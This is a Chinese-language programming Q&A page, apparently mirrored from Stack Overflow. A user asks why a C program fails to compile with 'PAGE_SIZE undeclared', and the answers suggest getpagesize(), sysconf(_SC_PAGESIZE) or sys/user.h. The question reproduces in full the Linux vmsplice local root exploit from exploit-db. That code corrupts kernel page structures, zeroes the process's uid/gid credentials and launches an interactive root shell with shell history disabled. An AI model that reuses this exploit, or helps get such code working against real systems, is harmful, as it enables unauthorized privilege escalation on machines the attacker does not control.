2016-06-18 150 views
1

由於我不熟悉C語言,因此我在編譯/修復腳本時遇到了一些問題。PAGE_SIZE未申報C

我希望有一些幫助解決問題!

我收到以下錯誤:

error: ‘PAGE_SIZE’ undeclared (first use in this function) 
    pages[0] = *(void **) &(int[2]){0,PAGE_SIZE}; 

這個錯誤是因爲PAGE_SIZE是ASM/page.h內設置(據我所知)

的代碼如下並從https://www.exploit-db.com/exploits/5092/

#define _GNU_SOURCE 
    #include <stdio.h> 
    #include <errno.h> 
    #include <stdlib.h> 
    #include <string.h> 
    #include <malloc.h> 
    #include <limits.h> 
    #include <signal.h> 
    #include <unistd.h> 
    #include <sys/uio.h> 
    #include <sys/mman.h> 
// #include <asm/page.h> 
// ^^ this was originally causing me issues, due to the fact this is compiled 
//within the kernel 
    #define __KERNEL__ 
    #include <asm/page.h> //moving it here fixed location error, but now I get the new issue 
    #include <asm/unistd.h> 

    #define PIPE_BUFFERS 16 
    #define PG_compound 14 
    #define uint  unsigned int 
    #define static_inline static inline __attribute__((always_inline)) 
    #define STACK(x) (x + sizeof(x) - 40) 

    struct page { 
     unsigned long flags; 
     int count; 
     int mapcount; 
     unsigned long private; 
     void *mapping; 
     unsigned long index; 
     struct { long next, prev; } lru; 
    }; 

    void exit_code(); 
    char exit_stack[1024 * 1024]; 

    void die(char *msg, int err) 
    { 
     printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); 
     fflush(stdout); 
     fflush(stderr); 
     exit(1); 
    } 

    #if defined (__i386__) 

    #ifndef __NR_vmsplice 
    #define __NR_vmsplice 316 
    #endif 

    #define USER_CS  0x73 
    #define USER_SS  0x7b 
    #define USER_FL  0x246 

    static_inline 
    void exit_kernel() 
    { 
     __asm__ __volatile__ (
     "movl %0, 0x10(%%esp) ;" 
     "movl %1, 0x0c(%%esp) ;" 
     "movl %2, 0x08(%%esp) ;" 
     "movl %3, 0x04(%%esp) ;" 
     "movl %4, 0x00(%%esp) ;" 
     "iret" 
     : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), 
      "i" (USER_CS), "r" (exit_code) 
     ); 
    } 

    static_inline 
    void * get_current() 
    { 
     unsigned long curr; 
     __asm__ __volatile__ (
     "movl %%esp, %%eax ;" 
     "andl %1, %%eax ;" 
     "movl (%%eax), %0" 
     : "=r" (curr) 
     : "i" (~8191) 
     ); 
     return (void *) curr; 
    } 

    #elif defined (__x86_64__) 

    #ifndef __NR_vmsplice 
    #define __NR_vmsplice 278 
    #endif 

    #define USER_CS  0x23 
    #define USER_SS  0x2b 
    #define USER_FL  0x246 

    static_inline 
    void exit_kernel() 
    { 
     __asm__ __volatile__ (
     "swapgs ;" 
     "movq %0, 0x20(%%rsp) ;" 
     "movq %1, 0x18(%%rsp) ;" 
     "movq %2, 0x10(%%rsp) ;" 
     "movq %3, 0x08(%%rsp) ;" 
     "movq %4, 0x00(%%rsp) ;" 
     "iretq" 
     : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), 
      "i" (USER_CS), "r" (exit_code) 
     ); 
    } 

    static_inline 
    void * get_current() 
    { 
     unsigned long curr; 
     __asm__ __volatile__ (
     "movq %%gs:(0), %0" 
     : "=r" (curr) 
     ); 
     return (void *) curr; 
    } 

    #else 
    #error "unsupported arch" 
    #endif 

    #if defined (_syscall4) 
    #define __NR__vmsplice __NR_vmsplice 
    _syscall4(
     long, _vmsplice, 
     int, fd, 
     struct iovec *, iov, 
     unsigned long, nr_segs, 
     unsigned int, flags) 

    #else 
    #define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl)) 
    #endif 

    static uint uid, gid; 

    void kernel_code() 
    { 
     int i; 
     uint *p = get_current(); 

     for (i = 0; i < 1024-13; i++) { 
      if (p[0] == uid && p[1] == uid && 
       p[2] == uid && p[3] == uid && 
       p[4] == gid && p[5] == gid && 
       p[6] == gid && p[7] == gid) { 
       p[0] = p[1] = p[2] = p[3] = 0; 
       p[4] = p[5] = p[6] = p[7] = 0; 
       p = (uint *) ((char *)(p + 8) + sizeof(void *)); 
       p[0] = p[1] = p[2] = ~0; 
       break; 
      } 
      p++; 
     } 

     exit_kernel(); 
    } 

    void exit_code() 
    { 
     if (getuid() != 0) 
      die("wtf", 0); 

     printf("[+] root\n"); 
     putenv("HISTFILE=/dev/null"); 
     execl("/bin/bash", "bash", "-i", NULL); 
     die("/bin/bash", errno); 
    } 

    int main(int argc, char *argv[]) 
    { 
     int  pi[2]; 
     size_t  map_size; 
     char *  map_addr; 
     struct iovec iov; 
     struct page * pages[5]; 

     uid = getuid(); 
     gid = getgid(); 
     setresuid(uid, uid, uid); 
     setresgid(gid, gid, gid); 

     printf("-----------------------------------\n"); 
     printf(" Linux vmsplice Local Root Exploit\n"); 
     printf(" By qaaz\n"); 
     printf("-----------------------------------\n"); 

     if (!uid || !gid) 
      die("[email protected]#$", 0); 

     /*****/ 
     pages[0] = *(void **) &(int[2]){0,PAGE_SIZE}; 
     pages[1] = pages[0] + 1; 

     map_size = PAGE_SIZE; 
     map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE, 
         MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 
     if (map_addr == MAP_FAILED) 
      die("mmap", errno); 

     memset(map_addr, 0, map_size); 
     printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); 
     printf("[+] page: 0x%lx\n", pages[0]); 
     printf("[+] page: 0x%lx\n", pages[1]); 

     pages[0]->flags = 1 << PG_compound; 
     pages[0]->private = (unsigned long) pages[0]; 
     pages[0]->count = 1; 
     pages[1]->lru.next = (long) kernel_code; 

     /*****/ 
     pages[2] = *(void **) pages[0]; 
     pages[3] = pages[2] + 1; 

     map_size = PAGE_SIZE; 
     map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE, 
         MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 
     if (map_addr == MAP_FAILED) 
      die("mmap", errno); 

     memset(map_addr, 0, map_size); 
     printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); 
     printf("[+] page: 0x%lx\n", pages[2]); 
     printf("[+] page: 0x%lx\n", pages[3]); 

     pages[2]->flags = 1 << PG_compound; 
     pages[2]->private = (unsigned long) pages[2]; 
     pages[2]->count = 1; 
     pages[3]->lru.next = (long) kernel_code; 

     /*****/ 
     pages[4] = *(void **) &(int[2]){PAGE_SIZE,0}; 
     map_size = PAGE_SIZE; 
     map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE, 
         MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 
     if (map_addr == MAP_FAILED) 
      die("mmap", errno); 
     memset(map_addr, 0, map_size); 
     printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); 
     printf("[+] page: 0x%lx\n", pages[4]); 

     /*****/ 
     map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE; 
     map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE, 
         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 
     if (map_addr == MAP_FAILED) 
      die("mmap", errno); 

     memset(map_addr, 0, map_size); 
     printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); 

     /*****/ 
     map_size -= 2 * PAGE_SIZE; 
     if (munmap(map_addr + map_size, PAGE_SIZE) < 0) 
      die("munmap", errno); 

     /*****/ 
     if (pipe(pi) < 0) die("pipe", errno); 
     close(pi[0]); 

     iov.iov_base = map_addr; 
     iov.iov_len = ULONG_MAX; 

     signal(SIGPIPE, exit_code); 
     _vmsplice(pi[1], &iov, 1, 0); 
     die("vmsplice", errno); 
     return 0; 
    } 

    // milw0rm.com [2008-02-09] 
+0

在C語言中,除非它是一個預定義的變量,否則在使用它之前必須聲明一個變量。 PAGE_SIZE不是預定義的變量。 –

+0

@ Achilles-96你可以看到這個錯誤在下面得到了回答,但是我的信念是我的設置是由於asm/page.h – TheHidden

回答

5

PAGE_SIZE只在k中聲明ernel標題。不過,您可以使用getpagesize()unistd.h得到來自userland的當前頁面大小。

#include <unistd.h> 
int main() { 
    size_t psize = getpagesize(); 
} 
+2

['getpagesize()'](http://man7.org/linux/ man-pages/man2/getpagesize.2.html)已被棄用,並且未在POSIX.1中指定。尤其是,如果使用'#define _POSIX_C_SOURCE 200108L'(或更高版本)編寫可移植代碼,'getpagesize()'不會在glibc頭文件中聲明。正確的調用是['sysconf(_SC_PAGESIZE)'](http://man7.org/linux/man-pages/man3/sysconf.3.html),它在POSIX.1中被標準化,因此在所有POSIXy操作中都可用系統。 [埃德的回答](http://stackoverflow.com/a/37897870/1475978)是正確的;這只是流行的,爲我工作的,我不關心別人的。 –

5

對系統的頁面大小使用編譯時常量通常不是一件聰明的事情,因爲它不一定是恆定的。例如,在最新的x86 CPU上,操作系統可以選擇使用4 KiB,2 MiB甚至1 GiB頁面(甚至可以將它們組合在相同的地址空間中)。由於這個原因,POSIX沒有標準化常數。因此

許多系統提供getpagesize()功能,但請記住,獲取頁面大小的POSIX標準的方法是使用sysconf()功能:

#include <stdio.h> 
#include <unistd.h> 
int main() { 
    printf("%lu\n", sysconf(_SC_PAGESIZE)); 
} 

我的Mac上,這個程序將打印數量4096 。

+0

這是很好的信息,你已經教會了我我會記得的一些事情! – TheHidden

2

Heylo。編譯真正的技術人員和同胞邁克爾Zalewski優秀的memfetch工具我也遇到類似的麻煩。無論如何,在厭倦了導致沒有答案的問題(比如這篇文章)的問題之後,我解決了我的問題。

我把這個直接從ASM/page.h文件:

/* PAGE_SHIFT determines the page size */ 

    #define PAGE_SHIFT  12 
    #ifdef __ASSEMBLY__ 
    #define PAGE_SIZE  (1 << PAGE_SHIFT) 
    #else 
    #define PAGE_SIZE  (1UL << PAGE_SHIFT) 
    #endif 
    #define PAGE_MASK  (~(PAGE_SIZE-1)) 

我把它放進一個需要編譯的C文件。在這種情況下,memfetch.c 我在包含代碼自己的一組DEFINE之後立即刪除它。 工作就像一個魅力和程序 - 一個內存映射器似乎工作得很好。我剛剛完成了 - 不能說,如果例如頁面或mem值已關閉或任何東西。

注 - 去抓住你自己的asm/page.h定義。其實我認爲他們是在asm-generic/page.h不知道,如果他們是差異的話;大多數肯定是在x86_64上。

祝你好運!

1

對我來說

#include <sys/user.h> 

的伎倆。該文件是glibc標題的一部分。